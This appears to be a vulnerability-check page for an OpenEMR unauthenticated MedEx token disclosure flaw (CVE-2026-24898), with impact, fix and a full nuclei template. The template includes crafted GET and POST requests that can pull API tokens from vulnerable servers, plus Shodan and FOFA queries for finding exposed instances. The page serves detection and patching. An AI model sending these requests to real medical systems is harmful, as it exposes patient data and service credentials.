OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure

criticalseverity

10CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.

Impact

Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.

Fix

Upgrade to version 8.0.0 or later.

How to confirm it

Send: GET /composer.json
Positive when: status_code == 200 and contains(body, "openemr") and compare_versions(version, "< 8.0.0")
Send: GET /library/MedEx/MedEx.php
Positive when: contains(body, "Not logged in:") and !contains(body, "\"error\"")
Send: POST /library/MedEx/MedEx.php
Positive when: status_code == 200 and contains(content_type, "json") and contains(body, "\"token\"") OR status_code == 200 and contains(content_type, "json") and regex("^\\s*false\\s*$", body)

Run it with nuclei: nuclei -id CVE-2026-24898 -u <target>

The full check

id: CVE-2026-24898

info:
  name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
  author: Securin
  severity: critical
  description: |
    OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
  impact: |
    Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
  remediation: |
    Upgrade to version 8.0.0 or later.
  reference:
    - https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-24898
    epss-score: 0.02422
    epss-percentile: 0.84317
    cwe-id: CWE-200,CWE-306
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query: http.title:"OpenEMR"
    fofa-query: title="OpenEMR"
  tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /composer.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "openemr")'
          - 'compare_versions(version, "< 8.0.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - '"version"\s*:\s*"([0-9]+\.[0-9]+\.[0-9]+)"'

  - raw:
      - |
        GET /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Not logged in:")'
          - '!contains(body, "\"error\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        callback_key={{randstr}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: token-disclosed
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"token\"")'
        condition: and

      - type: dsl
        name: auth-bypass
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("^\\s*false\\s*$", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from